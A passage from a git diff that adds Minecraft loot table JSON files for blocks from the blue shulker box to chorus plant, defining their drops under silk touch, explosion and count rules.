"source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:blue_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blue_stained_glass.json b/src/data/minecraft/loot_tables/blocks/blue_stained_glass.json new file mode 100644 index 00000000..7e0addf1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blue_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blue_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blue_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/blue_stained_glass_pane.json new file mode 100644 index 00000000..1e1c8f09 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blue_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blue_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blue_terracotta.json b/src/data/minecraft/loot_tables/blocks/blue_terracotta.json new file mode 100644 index 00000000..14646e7a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blue_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blue_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/blue_wool.json b/src/data/minecraft/loot_tables/blocks/blue_wool.json new file mode 100644 index 00000000..0f25154e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/blue_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blue_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/bone_block.json b/src/data/minecraft/loot_tables/blocks/bone_block.json new file mode 100644 index 00000000..3947a0e3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/bone_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bone_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/bookshelf.json b/src/data/minecraft/loot_tables/blocks/bookshelf.json new file mode 100644 index 00000000..a3f5c3e9 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/bookshelf.json @@ -0,0 +1,47 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:bookshelf" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 3 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:book" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brain_coral.json b/src/data/minecraft/loot_tables/blocks/brain_coral.json new file mode 100644 index 00000000..dbb59342 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brain_coral.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brain_coral" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brain_coral_block.json b/src/data/minecraft/loot_tables/blocks/brain_coral_block.json new file mode 100644 index 00000000..c0205758 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brain_coral_block.json @@ -0,0 +1,43 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:brain_coral_block" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "name": "minecraft:dead_brain_coral_block" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brain_coral_fan.json b/src/data/minecraft/loot_tables/blocks/brain_coral_fan.json new file mode 100644 index 00000000..54de33bc --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brain_coral_fan.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brain_coral_fan" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brewing_stand.json b/src/data/minecraft/loot_tables/blocks/brewing_stand.json new file mode 100644 index 00000000..0b3494cd --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brewing_stand.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:brewing_stand" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brick_slab.json b/src/data/minecraft/loot_tables/blocks/brick_slab.json new file mode 100644 index 00000000..a4c44fa5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brick_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:brick_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:brick_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brick_stairs.json b/src/data/minecraft/loot_tables/blocks/brick_stairs.json new file mode 100644 index 00000000..a2a248a3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brick_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brick_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brick_wall.json b/src/data/minecraft/loot_tables/blocks/brick_wall.json new file mode 100644 index 00000000..167b8875 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brick_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brick_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/bricks.json b/src/data/minecraft/loot_tables/blocks/bricks.json new file mode 100644 index 00000000..edfd398c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/bricks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brown_banner.json b/src/data/minecraft/loot_tables/blocks/brown_banner.json new file mode 100644 index 00000000..cb62afcd --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brown_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:brown_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brown_bed.json b/src/data/minecraft/loot_tables/blocks/brown_bed.json new file mode 100644 index 00000000..f8f1706c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brown_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:brown_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:brown_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brown_carpet.json b/src/data/minecraft/loot_tables/blocks/brown_carpet.json new file mode 100644 index 00000000..6aaaa1fc --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brown_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brown_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brown_concrete.json b/src/data/minecraft/loot_tables/blocks/brown_concrete.json new file mode 100644 index 00000000..3c623bc4 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brown_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brown_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brown_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/brown_concrete_powder.json new file mode 100644 index 00000000..4236f149 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brown_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brown_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brown_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/brown_glazed_terracotta.json new file mode 100644 index 00000000..597296d9 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brown_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brown_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brown_mushroom.json b/src/data/minecraft/loot_tables/blocks/brown_mushroom.json new file mode 100644 index 00000000..0325208a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brown_mushroom.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brown_mushroom" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brown_mushroom_block.json b/src/data/minecraft/loot_tables/blocks/brown_mushroom_block.json new file mode 100644 index 00000000..7d7c8600 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brown_mushroom_block.json @@ -0,0 +1,57 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:brown_mushroom_block" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": -6.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:limit_count", + "limit": { + "min": 0 + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:brown_mushroom" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brown_shulker_box.json b/src/data/minecraft/loot_tables/blocks/brown_shulker_box.json new file mode 100644 index 00000000..7386bc4b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brown_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:brown_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brown_stained_glass.json b/src/data/minecraft/loot_tables/blocks/brown_stained_glass.json new file mode 100644 index 00000000..b3d4a160 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brown_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brown_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brown_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/brown_stained_glass_pane.json new file mode 100644 index 00000000..a5f5ee81 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brown_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brown_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brown_terracotta.json b/src/data/minecraft/loot_tables/blocks/brown_terracotta.json new file mode 100644 index 00000000..7beeeda2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brown_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brown_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/brown_wool.json b/src/data/minecraft/loot_tables/blocks/brown_wool.json new file mode 100644 index 00000000..2aa125a9 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/brown_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:brown_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/bubble_coral.json b/src/data/minecraft/loot_tables/blocks/bubble_coral.json new file mode 100644 index 00000000..2ebe247f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/bubble_coral.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bubble_coral" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/bubble_coral_block.json b/src/data/minecraft/loot_tables/blocks/bubble_coral_block.json new file mode 100644 index 00000000..29e0461b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/bubble_coral_block.json @@ -0,0 +1,43 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:bubble_coral_block" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "name": "minecraft:dead_bubble_coral_block" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/bubble_coral_fan.json b/src/data/minecraft/loot_tables/blocks/bubble_coral_fan.json new file mode 100644 index 00000000..6e5a485c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/bubble_coral_fan.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bubble_coral_fan" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cactus.json b/src/data/minecraft/loot_tables/blocks/cactus.json new file mode 100644 index 00000000..473b857d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cactus.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cactus" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cake.json b/src/data/minecraft/loot_tables/blocks/cake.json new file mode 100644 index 00000000..68701f9f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cake.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:block" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/campfire.json b/src/data/minecraft/loot_tables/blocks/campfire.json new file mode 100644 index 00000000..551a0e4b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/campfire.json @@ -0,0 +1,49 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:campfire" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 2 + } + ], + "name": "minecraft:charcoal" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/carrots.json b/src/data/minecraft/loot_tables/blocks/carrots.json new file mode 100644 index 00000000..6f7aaba3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/carrots.json @@ -0,0 +1,48 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:carrot" + } + ] + }, + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:binomial_with_bonus_count", + "parameters": { + "extra": 3, + "probability": 0.5714286 + } + } + ], + "name": "minecraft:carrot" + } + ], + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:carrots", + "properties": { + "age": "7" + } + } + ] + } + ], + "functions": [ + { + "function": "minecraft:explosion_decay" + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cartography_table.json b/src/data/minecraft/loot_tables/blocks/cartography_table.json new file mode 100644 index 00000000..7ce295e2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cartography_table.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:cartography_table" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/carved_pumpkin.json b/src/data/minecraft/loot_tables/blocks/carved_pumpkin.json new file mode 100644 index 00000000..2ba21bfc --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/carved_pumpkin.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:carved_pumpkin" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cauldron.json b/src/data/minecraft/loot_tables/blocks/cauldron.json new file mode 100644 index 00000000..eed977b7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cauldron.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cauldron" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/chain.json b/src/data/minecraft/loot_tables/blocks/chain.json new file mode 100644 index 00000000..10a4e937 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/chain.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:chain" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/chest.json b/src/data/minecraft/loot_tables/blocks/chest.json new file mode 100644 index 00000000..d3ad9890 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/chest.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:chest" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/chipped_anvil.json b/src/data/minecraft/loot_tables/blocks/chipped_anvil.json new file mode 100644 index 00000000..f9830e72 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/chipped_anvil.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:chipped_anvil" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/chiseled_nether_bricks.json b/src/data/minecraft/loot_tables/blocks/chiseled_nether_bricks.json new file mode 100644 index 00000000..6683ff22 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/chiseled_nether_bricks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:chiseled_nether_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/chiseled_polished_blackstone.json b/src/data/minecraft/loot_tables/blocks/chiseled_polished_blackstone.json new file mode 100644 index 00000000..207ab4fd --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/chiseled_polished_blackstone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:chiseled_polished_blackstone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/chiseled_quartz_block.json b/src/data/minecraft/loot_tables/blocks/chiseled_quartz_block.json new file mode 100644 index 00000000..f574b4bc --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/chiseled_quartz_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:chiseled_quartz_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/chiseled_red_sandstone.json b/src/data/minecraft/loot_tables/blocks/chiseled_red_sandstone.json new file mode 100644 index 00000000..ce9273e6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/chiseled_red_sandstone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:chiseled_red_sandstone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/chiseled_sandstone.json b/src/data/minecraft/loot_tables/blocks/chiseled_sandstone.json new file mode 100644 index 00000000..d5b0bbdf --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/chiseled_sandstone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:chiseled_sandstone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/chiseled_stone_bricks.json b/src/data/minecraft/loot_tables/blocks/chiseled_stone_bricks.json new file mode 100644 index 00000000..6b74b890 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/chiseled_stone_bricks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:chiseled_stone_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/chorus_flower.json b/src/data/minecraft/loot_tables/blocks/chorus_flower.json new file mode 100644 index 00000000..20816462 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/chorus_flower.json @@ -0,0 +1,24 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + }, + { + "condition": "minecraft:entity_properties", + "predicate": {}, + "entity": "this" + } + ], + "name": "minecraft:chorus_flower" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/chorus_plant.json b/src/data/minecraft/loot_tables/blocks/chorus_plant.json new file mode 100644 index 00000000..0b0c1d86 --- /dev/null +++ 